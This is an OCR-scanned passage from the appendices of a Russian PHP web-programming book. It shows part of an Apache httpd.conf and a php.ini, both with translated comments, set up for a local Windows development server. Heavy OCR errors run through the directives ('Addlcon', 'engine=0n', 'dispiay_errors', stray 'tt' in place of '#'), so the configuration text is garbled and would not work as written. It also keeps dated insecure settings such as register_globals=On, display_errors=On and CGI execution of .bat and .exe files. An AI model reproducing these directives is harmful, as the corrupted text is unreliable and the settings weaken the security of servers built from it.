I в Unix) . В таком случае она будет перекрывать директиву , расположенную

# здесь , в главном конфигурационном файле сервера .

#

#

# Псевдонимы : Можно добавлять любое количество псевдонимов (без

# ограничений) .

# Формат : Alias псевдоним действительное_имя

#

<IfModule mod_alias.c>

i Обратите внимание , что если вы включаете завершающий слэш в

# "псевдоним" , то сервер потребует его присутствия и в URL . Так ,

# /icons не будет разыменован в данном примере , только /icons/ .

#

Alias /icons/ "С:/Program Files/Apache Group/Apache/icons/ "

<Directory "C:/Program Files/Apache Group/Apache/icons">

Options Indexes MultiViews

AllowOverride None

Order allow,deny

Allow from all

</Directory>

#

# ScriptAlias : Указывает каталог , который содержит серверные

# сценарии . Свойства ScriptAlias'ов такие же , как и у простых

I псевдонимов , за исключением того , что документы в каталоге

# "действительное имя " считаются приложениями и выполняются

# на сервере , а не отправляются клиенту . К директиве

tt ScriptAlias применяются те же правила в отношении

# завершающего / , что и к Alias .

#

ScriptAlias /cgi-bin/ "z:/home/localhost/cgi/ "

ScriptAlias /cgi/ "z:/home/localhost/cgi/ "

</IfModule>

tt Конец определений псевдонимов .

----------------------- Page 539-----------------------
524 _ ^ __ Часть VI. Приложения

#
# Директива Redirect позволяет сообщить клиенту о документе , который

# существовал некогда в пространстве имен сервера , но был перемещен

# в другое место . Она информирует клиента о его новом адресе .

S

# Формат : Redirect старый_ШЬ новый_СЖЬ

# Директивы , управляющие генерацией сервером листингов каталогов .
#

<IfModule mod_autoindex . c>

#

# Fancylndexing означает , что вы предпочитаете листинги с

# "украшательствами" . О других возможных значениях директивы

# IndexOptions см . сопроводительную документацию .
#
IndexOptions Fancylndexing

#

# Директивы Addlcon* указывают серверу , какими ярлыками

# будут украшены имена файлов в листинге каталога . Ярлыки

# изображаются только в режиме Fancylndexing .

#

AddlconByEncoding (CMP, /icons/compressed . gif) x-compress x-gzip

AddlconByType (TXT, /icons/text .gif ) text/*

AddlconByType (IMG, /icons/image2 .gif ) image/*

AddlconByType (SND , /icons/sound2 .gif ) audio/*

AddlconByType (VID, /icons/movie . gif } video/*

Addlcon /icons/binary . gif .bin .exe

Addlcon /icons/binhex.gif .hqx

Addlcon /icons /tar .gif .tar

Addlcon /icons /world2.gif .wrl .wrl.gz . vrml . vrm . iv

Addlcon /icons/compressed . gif .Z .z .tgz .gz .zip

Addlcon /icons/a . gif .ps .ai .eps

Addlcon /icons/layout .gif .html . shtml .htm .pdf

Addlcon /icons/text . gif . txt

----------------------- Page 540-----------------------
Приложение 1. Файл конфигурации Apache httpd.conf 525

Addlcon /icons/c.gif .с

Addlcon /icons/p.gif .pi .py

Addlcon /icons/f.gif .for

Addlcon /icons/dvi .gif .dvi

Addlcon /icons/uuencoded . gif . uu

Addlcon /icons/script .gif , conf . sh .shar .csh . ksh . tcl

Addlcon /icons/tex.gif . tex

Addlcon /icons/bomb . gif core

Addlcon /icons/back . gif . .

Addlcon /icons/hand . right . gif README

Addlcon /icons/folder . gif ^DIRECTORY" "

ЛЛ ЛЛ
Addlcon /icons/blank . gif ВЬАКК1СОЫ

# Defaultlcon определяет ярлык для файла по умолчанию
# если он не задан явно .
#
Defaultlcon /icons/unknown . gif

I AddDescription позволяет размещать краткое описание после имени

# файла в индексах (листингах каталогов ) , сгенерированных сервером .

# Такие описания выводятся только в режиме Fancy Indexing .

#

# Формат : AddDescription "строка_описания" . расширение_имени_файла
#
#AddDescription "GZIP compressed document " . gz
#AddDescription "tar archive " .tar
ttAddDescription "GZIP compressed tar archive " . tgz

tt
# ReadmeName задает имя README-файла , который добавляется к листингу
# каталога по умолчанию .
I
# HeaderName указывает имя файла , выводимого в
I заголовке листингов каталога .

tt
# Если задана директива MultiViews в числе значений Options ,

----------------------- Page 541-----------------------
526 Часть VI. Приложения

# сначала сервер попытается открыть файл имя . html и включит его в
# листинг , если файл существует . Если файл имя . html не существует ,
# сервер переориентируется на открытие файла
# имя-txt и включение его в листинг в виде простого текста .
#
ReadmeName README
HeaderName HEADER

#
ft Indexlgnore описывает набор имен файлов , которые должны быть
# исключены из листинга . В именах допустимы метасимволы подстановки
# в стиле shell .
Indexlgnore . ??* *~ *# HEADER* README* RCS CVS *,v *,t

</IfModule>
# Конец секции директив управления листингами .

tt
# Типы документов .
#
<IfModule mod mime . c>

# AddEncoding позволяет вам заставить определенные браузеры
# (Mosaic/X 2.1+) распаковывать информацию "на лету" .
# Внимание : это свойство поддерживают не все браузеры . Несмотря
# на сходство имен , нижеприведенные директивы Add* не
# имеют ничего общего с директивами оформления Fancylndexing ,
# приведенными выше .
#
AddEncoding x-compress Z
AddEncoding x-gzip gz tgz
#
It
# AddLanguage позволяет указать язык документа . Вы можете затем
# использовать протокол обмена (content negotiation ) для выдачи
# браузеру документа на том языке , который он (браузер) предпочитает .
#

# Примечание 1 : Суффикс не обязательно должен совпадать с буквенным

----------------------- Page 542-----------------------
Приложение 1. Файл конфигурации Apache httpd.conf 527

# кодом языка — те , у кого есть документы на польском языке

# (стандартный сетевой буквенный код pi) , могут воспользоваться

# директивой AddLanguage pi .ро во избежание конфликта с

# распространенным суффиксом сценариев на языке Perl .
#

# Примечание 2 : Нижеследующие примеры показывают , что в нескольких

I случаях двухбуквенный код языка не совпадает с двухбуквенным кодом

# страны .

I Например , "Датский/da " вместо "Дания/dk" .

it

# Примечание 3 : В случае Itz мы нарушаем требования RFC , используя

# трехбуквенный код . Но уж тут ничего не поделаешь . В будущем ,

# возможно , несоответствия с RFC1766 будут устранены .

И

# Коды языков :

# датский (Danish ) da ; голландский , Нидерланды (Dutch) nl ;

# английский (English ) en ; эстонский (Estonian ) ее ;

# французский (French) fr; немецкий (German) de;

tt новогреческий (Greek-Modern ) el ; итальянский (Italian) it;

# португальский (Portuguese) pt ;

# люксембургский (Luxembourgeois* ) Itz;

I испанский (Spanish) es ; шведский (Swedish) sv ;

# каталонский (Catalan ) ca ; чешский (Czech) cz ;

# русский (Russian ) ru .

*

AddLanguage da .dk

AddLanguage nl .nl

AddLanguage en .en

AddLanguage.et .ее

AddLanguage f r .f r

AddLanguage de .de

AddLanguage el .el

AddLanguage he .he

AddCharset ISO-8859-8 .iso8859-8

AddLanguage it .it

AddLanguage j a .j a

AddCharset ISO-2022-JP .jis

AddLanguage kr .kr

AddCharset ISO-2022-KR .iso-kr

----------------------- Page 543-----------------------
528 Часть VI. Приложения

AddLanguage no .no
AddLanguage pi .po

AddCharset ISO-8859-2 .iso-pl

AddLanguage pt .pt
AddLanguage pt-br .pt-br
AddLanguage Itz .lu
AddLanguage ca .ca

AddLanguage es .es

AddLanguage sv .se

AddLanguage cz . cz
AddLanguage ru .ru
AddLanguage tw .tw

AddCharset Big5 .Big5 . big5

AddCharset WINDOWS-1251 .cp-1251

AddCharset CP866 .cp866

AddCharset ISO-8859-5 .iso-ru

AddCharset KOI8-R .koi8-r

AddCharset UCS-2 .ucs2

AddCharset UCS-4 .ucs4

AddCharset UTF-8 .utf8

I LanguagePriority позволяет определить первоочередность некоторых
# языков при установлении протокола обмена .
#

# Возможно , вы захотите изменить предложенный порядок языков . Просто

# перечислите их в порядке убывания приоритета .

#

<IfModule mod_negotiation.c>
LanguagePriority en da nl fr de el it ja no pi pt ru ca es sv tw
</IfModule>

#
# AddType позволяет слегка подправить mime.types , не редактируя его ,
# или объявить конкретные файлы имеющими определенный тип .
#
# Например , модуль РНРЗ (этот модуль не является частью дистрибутива
# сервера Apache) , обычно использует следующие объявления :
#
#AddType application/x-httpd-php3 .php3

----------------------- Page 544-----------------------
Приложение 1. Файл конфигурации Apache httpd.conf 529

# AddType application/x-httpd-php3-source .phps

tt

# В случае PHP 4.x укажите :

#

AddType application/x-httpd-php .php

I AddType application/x-httpd-php-source .phps

# Следующие строки не относятся к заданию типов документов ,

tt но их удобно поместить сюда для подключения РНР :

#

ScriptAlias /_php/ "С:/Program Files/PHP4/ "

Action application/x-httpd-php "/_php/php.exe "

AddType application/x-tar .tgz

#
# AddHandler позволяет отобразить определенные расширения имен файлов

# на обработчиков вне связи с определениями типов файлов . Обработчики

# могут быть как встроены в сервер , так и объявлены директивой

# Action (см. ниже).

#

t Если вы хотите использовать файлы , вставляемые сервером в ваши

tt документы (SSI — server side includes) , снимите комментарий

I со следующих строк :

#

# для использования сценариев CGI -

tt

AddHandler cgi-script .bat .exe .cgi

#

# для HTML-файлов , предварительно обрабатываемых

tt сервером (server-parsed HTML files) :

#

AddType text/html .shtml

AddHandler server-parsed .shtml .html .htm

#

# Раскомментируйте следующую строку , чтобы разрешить Apache передачу

# специальных файлов , которые не сопровождаются стандартными

----------------------- Page 545-----------------------
530 Часть VI. Приложения

# заголовками HTTP (send-asis HTTP file) .

i
# AddHandler send-as-is asis

it
# Если вы хотите использовать карты-изображения , обрабатываемые
# сервером , раскройте следующую директиву :
#
# AddHandler imap-file map

tt
# Если вы хотите задействовать карты типов (type maps , см .
tt документацию) , используйте :

#
# AddHandler type-map var

</IfModule>
# Коней блока директив описания типов документов .

tt
# Директива Action позволяет определить приложение , выполняющее сценарии ,
# когда запрашиваются содержащие их файлы . Это устраняет необходимость
# многократного упоминания URL часто используемых процессоров
# CGI-сценариев .
# Формат : Action псевдоним_типа /псевдоним_пути/обработчик
tt Action среда/тип /псевдоним пути/обработчик
#

t?
# MetaDir : определяет имя каталога , в котором Apache может найти файлы с
# метаинформацией . Эти файлы содержат дополнительные заголовки HTTP ,
# включаемые при отправке определенных документов .
#
# MetaDir .web

#

# MetaSuffix устанавливает суффикс имени файла , содержащего метаинформацию .
#
# MetaSuffix .meta

----------------------- Page 546-----------------------
Приложение 1. Файл конфигурации Apache httpd. conf 531

tt
# Настраиваемая реакция на ошибки (собственный стиль Apache ) может быть
# трех типов .
К
I 1 ) простой текст
tt ErrorDocument 500 "Сервер сказал а-я-яй! "
tt Внимание : знак двойной кавычки просто означает , что далее следует
# текст .
I

tt 2 ) локальная переадресация
# Чтобы перенаправить на локальный документ :
I ErrorDocument 404 /missing.html
It Перенаправлять можно и на сценарий , и на документ , использующий
t включения на стороне сервера :
# ErrorDocument 404 /cgi-bin/missing_handler.pi
tt
# 3 ) внешняя переадресация
# ErrorDocument 402 http://some.other_server.com/info.html
tt Большинство переменных окружения , связанных с исходным запросом ,

# станут недоступны при такой переадресации .

#
# Установки , связанные с браузером пользователя .

tt
<IfModule mod_setenvif.c>

#
# Следующие директивы отменяют поддержку долговременных соединений
tt (keepalives) и "смывание" заголовков HTTP . Первая директива
# отменяет их для Netscape 2.x и браузеров , которые "притворяются" ,
# что они — Netscape (известны некоторые проблемы с такими
# орауакрами ; . Вторая директива предназначена для Microsoft Internet
t Explorer 4.0b2 , реализация НТТР/1.1 которого не полна и не
I поддерживает должным образом keepalive , когда он используется в
t откликах 301 или 302 (переадресация) .

#
BrowserMatch "Mozilla/2 " nokeepalive
BrowserMatch "MSIE 4\.0b2;" nokeepalive downgrade-1.0 force-response-1.0

183ак . 699

----------------------- Page 547-----------------------
532 _ Часть VI. Приложения

tf

# Следующая директива отключает отклики по НТТР/1.1 браузерам ,
# которые нарушают стандарты НТТР/1.0 и не могут разобрать
# основной отклик 1.1 .
#

BrowserMatch "RealPlayer 4\.0" force-response-1 . О

BrowserMatch "Java/l\.0" force-response-1 . 0

BrowserMatch "JDK/lVO " force-response-1 . 0

f Конец настроек , связанных с браузерами .

#

# Следующая группа директив управляет отчетами о состоянии сервера ,

# имеющего URL http : //servername/server-status . Для приведения в

# соответствие с вашими нуждами измените . your_domain . com .

#

# <Location /server-status>

# SetHandler server-status

# Order deny , allow

# Deny from all

# Allow from . your_domain . com

# </Location>

#

# Эта группа директив управляет отчетами конфигурации удаленного

# сервера http : //servername/server-info (требуется , чтобы был загружен
# mod_info.c) . Замените . your_domain . com на имя вашего домена .
#

ri ^Location /server -info>

# SetHandler server-info

# Order deny , allow

# Deny from all

it Allow from .your domain.com

# </Location>

# Поступали сообщения , что некие люди пытаются злоупотреблять древней

# ошибкой старых версий Apache . Ошибка касалась CGI-сценария ,

----------------------- Page 548-----------------------
Приложение 1. Файл конфигурации Apache httpd.conf 533

i поставлявшегося с Apache .

# Раскрыв следующие строки , вы можете переадресовать эти атаки

# на регистрирующий сценарий на phf.apache.org . А можете регистрировать

# их сами , используя сценарий support/phf_abuse_log.cgi .

#

# <Location /cgi-bin/phf*>

I Deny from all

# ErrorDocument 403 http://phf.apache.org/phf_abuse_log.cgi

# </Location>

# Директивы proxy-сервера .
#

# <IfModule mod_proxy.c>

# Раскройте следующую строку для того , чтобы разрешить

# работу с proxy .
# ProxyRequests On

# <Directory proxy:*>

# Order deny,allow

tt Deny from all

# Allow from .your_domain.com

# </Directory>

#

# Разрешить/запретить обработку заголовков HTTP/1.1 Via: .
# Возможные значения : Off I On I Full I Block . Full добавляет в
# заголовок версию сервера , Block удаляет все исходящие
tt заголовки Via: .
#
# ProxyVia On

#
# Для разрешения также кэширования отредактируйте и раскройте
# следующие строки (нельзя включать кэширование без указания
# CacheRoot) :
t
# CacheRoot "С:/Program Files/Apache Group/Apache/proxy "
i CacheSize 5

----------------------- Page 549-----------------------
534 Часть VI. Приложения

# CacheGdnterval 4

# CacheMaxExpire 24

# CacheLastModifiedFactor 0.1

I CacheDefaultExpire 1

# NoCache a_domain.com another^domain.edu joes.garage_sale.com

I </IfModule>

ft Конец настроек proxy-сервера .

### Раздел 3 : Виртуальные хосты

#

# Директива VirtualHost : Если вы хотите держать на своей машине несколько

# хостов , следует для каждого из них завести контейнер VirtualHost .

# Прежде чем их устанавливать , обращайтесь за подробными разъяснениями к

# документации по адресу http://www.apache.org/docs/vhosts/ . Для проверки

# конфигурации ваших виртуальных хостов вы можете задавать опцию -S

# командной строки .

#

# Если вы хотите использовать именные виртуальные хосты (name-based

# virtual hosts) , вам необходимо определить для них как минимум один

I адрес IP (и номер порта) .

I

NarneVirtualHost 127.0.0.1:8 0

#

# Пример использования директивы VirtualHost :

# В контейнер VirtualHost может включаться почти любая

# директива Apache .

#

# <VirtualHost ip.address.of.host.some_domain.com>

# ServerAdmin webmaster@host.some_domain.com

tf DocumentRoot /www/docs/host.some_domain.com

it ServerName host . some_domain . com

ft ErrorLog logs/host.5ome_domain.com-error_iog

# CustomLog logs/host.some domain.corn-access log common
ft </VirtualHost>

# <VirtualHost _default_:*>

# </VirtualHost>

----------------------- Page 550-----------------------
Приложение 1. Файл конфигурации Apache httpd.conf 535

# Далее идут настройки для виртуальных хостов , описанных во второй

tt части этой книги .

# localhost

<VirtualHost localhost>

ServerAdmin webmaster@localhost.ru

ServerName localhost

DocumentRoot "z:/home/localhost/www"

ScriptAlias /cgi/ "z:/home/localhost/cgi/ "

ErrorLog z:/home/localhost/error.log

CustomLog z:/home/localhost/access.log common

</VirtualHost>

# hacker

<VirtualHost hacker>

ServerAdmin webmaster@hacker.ru

ServerName hacker

DocumentRoot "z:/home/hacker/www "

ScriptAlias /cgi/ "z:/home/hacker/cgi/ "

ErrorLog z:/home/hacker/error.log

CustomLog z:/home/hacker/access.log common

</VirtualHost>

# cracker

<VirtualHost cracker>

ServerAdmin webmaster@cracker.ru

ServerName cracker

DocumentRoot "z:/home/cracker/www "

ScriptAlias /cgi/ "z:/home/cracker/cgi/ "

ErrorLog z:/home/cracker/error.log

CustomLog z:/home/cracker/access.log common

</VirtualHost>

# Конец главного файла конфигурации Apache .

----------------------- Page 551-----------------------
Приложение 2

Файл конфигурации
PHPphp.ini

Приложение 2, которое вы видите перед собой, уважаемый читатель, вклю-
чает полный перевод на русский язык комментариев внутри файла конфи-
гурации PHP php . ini .

Замечане

Директивы в листинге П2.1 полностью соответствуют рекомендациям по уста-
новке РНР для Windows, представленным в части II книги. Впрочем, чтобы по-
лучить этот файл, мне понадобилось всего пара изменений в настройках РНР
по умолчанию (настройки по умолчанию хранятся в файле php.ini-dist) —
не то, что в случае с Apache.

Если вы установили РНР как модуль Apache, перед вами открываются до-
полнительные возможности: вы можете задавать значения некоторых дирек-
тив прямо в файлах httpd.conf или .htaccess . В силу специфики синтак-
сиса файлов конфигурации Apache, для отделения имени директивы и ее
значения нужно использовать пробел, а не знак =. Кроме того, имена дирек-
тив РНР должны быть предварены специальными префиксами, а именно:

php_value name value

То же, ЧТО name=value В php . ini .

php_f lag name on I off

Аналогично предыдущему, только используется для задания величин флагов.
Например, директива из php. ini:

auto_prepend_file=top . html

будет выглядеть в httpd.conf или .htaccess так:
php_value auto_prepend_f ile=top.html

Приведенного листинга с комментариями должно быть вполне достаточно для
понимания роли большинства директив РНР. Именно поэтому я уделил им так
мало страниц в частях IV и Сданной книги. И все-таки, если у вас возникнут
какие-то затруднения, их легко сможет разрешить документация, которую мож-
но получить, например, с официального сайта РНР: http://www.php.net.

----------------------- Page 552-----------------------
Приложение 2 . Файл конфигурации РНР php.ini 537

| Листинг П2.1. Файл php . ini

[PHP]

; Об этом файле ;

Этот файл содержит большинство установок РНР . Чтобы РНР смог его
обнаружить, он должен называться 'php.ini' . Интерпретатор ищет файл в
текущем каталоге , в случае неудачи — в каталоге , указанном в
переменной окружения PHPRC , и , наконец , в каталоге , заданном при
компиляции и сборке РНР (именно в таком порядке) .
В системе Windows путь , указанный при компиляции РНР ,
соответствует каталогу Windows (в большинстве случаев это
c:\windows). Папка , в которой будет производиться поиск файла
'php.ini', может быть также определена с использованием ключа -с
командной строки .

Синтаксис файла крайне прост . Пробельные символы (то есть , пробелы ,
символы табуляции и т . д.), строки , начинающиеся с точки с запятой (;)
игнорируются (как вы, наверное , уже догадались) . Заголовки секций
(например, [Foo]) также пропускаются , но , возможно, будут учитываться
в будущих версиях РНР .

Директивы задаются примерно так :
directive=value

Имена директив чувствительны к регистру символов — foo=bar не то же

самое, что F00=bar .

Значение value может быть строкой , числом , константой РНР (например ,
E_ALL или М_Р1) , одной из INI-констант (On, Off , True , False , Yes , No
или None) , выражением (например , E_ALL & ~E_NOTICE) , а также строкой
в кавычках ("foo").

В выражениях могут использоваться только побитовые и логические
операторы, а также скобки :
| поразрядное ИЛИ (OR)
& поразрядное И (AND)
поразрядное НЕ (NOT)
! логическое отрицание (NOT)

----------------------- Page 553-----------------------
535 Часть VI. Приложения

В качестве логических флагов со значением "истина" могут быть

использованы значения 1 , On , True или Yes . Значение "ложь" дают 0 , Off ,

False и No .

Пустая строка может быть задана , если "не указать ничего " после знака

равенства , или же указать слово None :

foo= ; устанавливаем foo равным пустой сторке

foo=none ; аналогично

foo="none" ; устанавливаем foo равным строке 'попе '

Если вы используете константы в качестве части значения директивы и эти

константы определяются в каком-нибудь динамически загружаемом

расширении (модуле РНР или Zend) , вы можете указывать их только после

строки, которая загружает расширение .

Все значения в файле php.ini-dist соответствуют встроенным значениям

по умолчанию . Если php.ini не задействуется , или же вы удалите из него

некоторые строки , будут установлены значения по умолчанию .

Настройки языка ;

; Разрешает работу РНР для сервера Apache .

engine=0n

; Разрешает использовать короткие тэги <? . Иначе будут распознаваться

; только тэги <?рпр и <script> .

short_open_tag=0n

; Позволяет использовать тэги <% %> а-ля ASP .

asp_tags=0ff

; Число значащих цифр после запятой , которые отображаются для чисел с
; плавающей точкой .

precision=14

; Признак коррекции дат (проблема 2000 года , которая может

; вызвать непонимание со стороны браузеров , которые
; на это не рассчитывают )

y2k_compliance=0ff

----------------------- Page 554-----------------------
Приложение 2. Файл конфигурации PHP php. ini 539

Использование буферизации вывода . Позволяет посылать заголовки (включая

Cookies) после вывода текста . Правда , это происходит ценой

незначительного замедления вывода .

Вы можете разрешить буферизацию во время выполнения сценария путем

вызова функций буферизации , или же включить ее по умолчанию с помощью
следующей директивы :

output_buffering=0ff

; Директива неявной отсылки говорит РНР о том , что выводимые данные нужно

; автоматически передавать браузеру после вывода каждого блока данных .

; Ее действие эквивалентно вызовам функции flush О после

; каждого использования print() или echo() и после каждого HTML-блока .

; Включение этой директивы серьезно замедляет работу , поэтому ее

; рекомендуется применять лишь в отладочных целях .

implicit_flush=0ff

Параметр определяет , должен ли РНР использовать возможность всегда

передавать аргументы функциям по ссылке при выполнении сценария .

Этот метод устарел , и , скорее всего , он не будет

поддерживаться в будущих версиях PHP/Zend .

Описание того , каким способом должен быть передан аргумент —

по ссылке или по значению — рекомендуется указывать при объявлении

функции. Лучше всего , если вы попробуете установить параметр в Off

и проверите , все ли сценарии по-прежнему работают . Если это так ,

то все в порядке , и сценарии будут совместимы и с будущими версиями

РНР . В противном случае вы будете получать предупреждения каждый раз ,

когда аргументы передаются ненадлежащим образом и по значению там ,

где должны передаваться по ссылке ,

allow_caIl_t ime_pa ss_reference=0n

; Безопасный режим

s a f e__mode=0 f f

safe_mode_exec_dir=

; Установка некоторых переменных окружения может потенциально породить
; "дыры" в защите сценариев . Следующая директива содержит разделенный

; запятыми список префиксов . В режиме включенного безопасного режима

; пользователь сможет изменять только те переменные окружения , имена

; которых начинаются с перечисленных префиксов .

----------------------- Page 555-----------------------
540 Часть VI. Приложения

; По умолчанию пользователь имеет возможность устанавливать только

; переменные окружения , начинающиеся с РНР_ (например ,

; PHP_FOO=something) .

; Замечание : если эта директива пуста , РНР позволяет пользователям

; модифицировать любые переменные окружения !
safe_mode_allowed_env_vars=PHP_

; Следующая директива содержит разделенный запятыми список имен
; переменных окружения , которые конечный пользователь не сможет изменять

; путем вызова putenv() .

; Эти переменные будут защищены даже в том случае , если директива
; разрешает их использовать .
safe_mode_protected_env_vars=LD_LIBRARY_PATH

; Эта директива позволяет вам запрещать вызовы некоторых функций
; из соображений безопасности . Список задается в виде имен функций ,
; разграниченных запятыми . Директива действует независимо от того ,
; установлен ли безопасный режим или нет !
disable_functions=

; Цвета для режима раскраски синтаксиса . Любой цвет , допустимый в тэге
; <font color=???> , допустим и здесь .
highlight.string=#DDOOOO
highlight.comment=#FF8000
highlight.keyword=#007700

highlight.bg=#FFFFFF

highlight.default=#OOOOBB
highlight.html=#000000

Другие директивы
Следующая директива указывает , должен ли РНР добавлять заголовок
X-Powered-by в заголовки , посылаемые браузеру , и , таким образом ,
обнаруживать себя . Это никак не может повлиять на безопасность
сценария, однако позволяет пользователю определить , использовался
ли РНР для генерации страницы , или нет .
expo s e_php=0n

----------------------- Page 556-----------------------
Приложение 2. Файл конфигурации PHP php. ini 541

; Ограничения ресурсов ;

; Максимальное возможное время выполнения сценария в секундах . Если
; сценарий будет выполняться дольше , РНР принудительно завершит его .
max_execution_time=30

; Максимальный объем памяти , выделяемый сценарию (8MB)

memory_limit=8M

; Обработка ошибок и подключений ;

Директива error_reporting должна задаваться в виде битового

поля . Его значение можно устанавливать с помощью следующих констант ,

объединенных оператором I (OR) :

E_ALL - Все предупреждения и ошибки .

E_ERROR - Критические ошибки времени выполнения .

E_WARNING - Предупреждения времени выполнения .

E_PARSE - Ошибки трансляции .

E_NOTICE - Замечания времени выполнения (это такие

предупреждения , которые , скорее всего ,

свидетельствуют о логических ошибках в

сценарии, — например , использовании

неинициализированной переменной) .

- Критические ошибки в момент старта РНР .

E_CORE_WARNING - Некритические предупреждения во время старта РНР .

Е COMPILE ERROR - Критические ошибки времени трансляции .

E_COMPILE_WARNING - Предупреждения времени трансляции .

E_USER_ERROR - Сгенерированные пользователем ошибки .

E_USER_WARNING - Сгенерированные пользователем предупреждения .

E_USER_NOTICE - Сгенерированные пользователем замечания .

Пример :

показывать все ошибки , за исключением замечаний

error_reporting = E_ALL & ~E_NOTICE

показывать только сообщения об ошибках

error_reporting=E_COMPILE_ERRORIE_ERRORIE_CORE_ERROR

отображать все ошибки , предупреждения и замечания

----------------------- Page 557-----------------------
542 Часть VI. Приложения

error_reporting= E_ALL

Печать ошибок и предупреждений прямо в браузер .

Для готовых сайтов рекомендуется отключать следующую директиву и

использовать вместо нее журнализацию (см. ниже) . Включенная директива

display_errors в "рабочих" сайтах может открыть доступ пользователю к

секретной информации : например , полному пути к документу , используемой

базе данных и т . д .

dispiay_errors=On

; Даже если display_errors включена , ошибки , возникающие во время старта

; РНР , не отображаются . Рекомендуется устанавливать следующую директиву

; в выключенное состояние , за исключением случая , когда вы применяете

; ее при отладке .

display_startup_errors=Off

; Сохранять ли сообщения об ошибках в файле журнала . Журнал может

; определяться настройками сервера , быть связанным с потоком stderr

; или же задаваться директивой error log , описанной ниже . Как уже было

; сказано , в коммерческих проектах желательно использовать именно

; журнализацию , а не отображать ошибки в браузер .

log_errors=Off

; Сохранять ли последнее сообщение об ошибке или предупреждение в

; переменной $php_errormsg

track errors=0n

; Строка , которая выводится перед сообщением об ошибке .

;error_prepend_string="<font color=ff0000> "

; Строка , которая отображается после сообщения .

;error_append_string="</font>"

; Раскомментируйте , чтобы вести журнал в указанном файле .

; error__log=f ilename;

; Раскройте , чтобы использовать системный журнал .
;error_log=syslog

; Предупреждать , когда оператор + применяется к строкам .

warn_plus_overloading=0ff

----------------------- Page 558-----------------------
Приложение 2. Файл конфигурации PHP php. ini 543

Обработка данных

; Замечание : track_vars всегда включена , начиная с РНР 4.0.3 .

; Следующая директива определяет , в каком порядке РНР будет

; регистрировать данные , полученные методами GET , POST , а также

; переменные окружения и встроенные переменные (соответственно , значение

; задается буквами G , р , С , Е и S , например , EGPCS или GPC) . Регистрация

; производится на основе чтения этой строки слева направо , новые значения

; переопределяют старые .

variables ordei="EGPCS "

; Должен ли РНР регистрировать EGPCS-переменные как глобальные

; переменные . Возможно , вы захотите отключить эту возможность , если не

; хотите "засорять " глобальную область видимости сценария . Это имеет

; смысл , если вы используете директиву track_vars — в этом случае вы

; можете получить доступ к GPC-данным через массив $НТТР_??? _VARS .

; Желательно так писать сценарии , чтобы они по возможности

; старались обходиться без директивы register_globals . Использование

; данных , поступивших из формы , как глобальных переменных , потенциально

; может породить проблемы в защите сценария , если программист не особенно

; позаботится об их устранении .

register_globals=On

; Следующая директива указывает РНР , обязан ли он создавать переменные

; Sargv и $argc на основе информации , поступившей методом GET . Если вы не

; используете эти переменные , отключите директиву register__argc__argv для

; небольшого убыстрения работы РНР .
register_argc_argv=0n

; Максимальный размер данных POST , который РНР сможет принять .

post_max_size=8M

; Следующая директива устарела — используйте variables_order .

order="GPC"

; Автоматическая обработка кавычек и апострофов :

; использовать ли автокавычки для входящих GET/POST/Cookie данных

magic_quotes_gpc=0ff

----------------------- Page 559-----------------------
544 Часть VI. Приложения

; заключать ли данные в автокавычки во время выполнения , например ,

; для данных из SQL , exec О и т . д .

magic_quotes_runtime=0ff

; Нужно ли РНР оформлять автокавычки в стиле Sybase-style (заменять '

; на '', а не на \')

magi c_quotes_sybase=0ff

; Следующие директивы указывают РНР , содержимое каких файлов он должен

; обрабатывать до и после вывода сценария .

auto_prepend_file=

auto_append_file=

; Начиная с версии 4.0Ь4 , РНР всегда сообщает браузеру об используемой

; кодировке в заголовке Content-type . Для того чтобы запретить это ,

; просто УГТЧНОВИТР глчдующую директиву пустой . По . умолчанию

; используется text/html без указания кодировки .

default_mimetype="text/html"

;default charset="iso-8859-l"

; Пути и каталоги ;

; Для UNIX : "/pathl:/path2" .

; Для Windows : "\pathl;\path2"

include_path=

; Корневой каталог для PHP-сценариев .

; Игнорируется , если значение равно пустому "".

doc_root=

; Каталог , который РНР использует при открытии сценария вида

; /-username . He оказьтает действия , если значение равно "".

user_dir=

; Каталог , в котором хранятся динамически загружаемые расширения .

extension_dir=C:/Program Files/PHP4/extensions

----------------------- Page 560-----------------------
Приложение 2. Файл конфигурации PHP php.ini 545

; Следующая директива разрешает или запрещает использование функции dl() .

; Функция dl() работает неправильно в многопоточных Web-серверах ,

; ччтммир , Р Т Т Р глгт] » 7о1]я , v. автоматически отключается для них .

enable dl=0n

; Закачка файлов ;

; Разрешает РНР обрабатывать закачку файлов

file_uploads=0n

; Каталог для временных файлов , в который РНР помещает закачанные

; файлы (используется системный временный каталог , если в директиве

; указана пустая строка )

; upload_tmp_dir=

; Максимальный размер закачанного файла

upload max_filesize=2M

; Динамически загружаемые расширения ;

Если вы хотите , чтобы какие-то модули загружались автоматически ,

задавайте директиву extension в формате :

extension=modulename.extension

Например , для Windows :

extension=msql.dll

или для UNIX :

extension=msql.so

Должно быть указано только имя , без пути . Чтобы задать

каталог , в котором расположены расширения , используйте директиву

extension_dir, описанную выше .

Модули для Windows

Замечание: поддержка MySQL и ODBC теперь включена в ядро РНР , так что

для нее уже не нужны никакие библиотеки DLL .

extension=php_cpdf.dll

----------------------- Page 561-----------------------
546 Часть VI. Приложения

; extension=php_cybercash . dll

;extension-php db.dll

;extension=php -dbase.dll

;extension=php_domxml.dll

;extension=php_dotnet.dll

;extension=php_exif.dll

;extension=php_fdf.dl1

extension=php_gd.dll

;extension=php_gettext.dll

;extension=php_ifx.dll

;extensjon=php imap.dll

;extension=php_interbase.dll

;extension=php Java.dll

;extension=php_ldap.dll

;extension=php_mhash.dll

;extension=php_mssq!65.dll

;extension=php_mssql70.dll

;extension=php_oc18.dll

;extension=php_oracle.dll

;extension=php_pdf.dll

;extension=php_pgsql.dll

;extension=php_sablot.dll

;extension=php_swf.dll

;extension=php_sybase_ct.dll

;extension=php_zlib.dll

; Установки для модулей ;

[Syslog]

; Нужно или нет определять различные переменные Syslog , такие как

; $LOG_PID , $LOG_CRON и т . д . Для ускорения работы рекомендуется

; выключать следующую директиву . Во время выполнения сценария вы

; можете включить или выключить директиву путем вызова

; функции define_syslog_variables() .

define_syslog_variables=Off

[mail function]

----------------------- Page 562-----------------------
Приложение 2. Файл конфигурации PHP php.ini 547

; Только для Win32 — используемый SMTP-сервер .

SMTP=mail.dklab.ru

; Только для Win32 — поле From : по умолчанию ,

sendmail frorr,= dk@dkJab.ru

; Только для UNIX — задает путь и аргументы программы sendmail (по

; умолчанию — 'sendmail -t -i') .

;sendmail_path=

•[Debugger]

debugger.host=localhost

debugger.port=7 8 6 9

debugger.enabled=False

[Logging]

; Следующие директивы используются сценарием-примером .

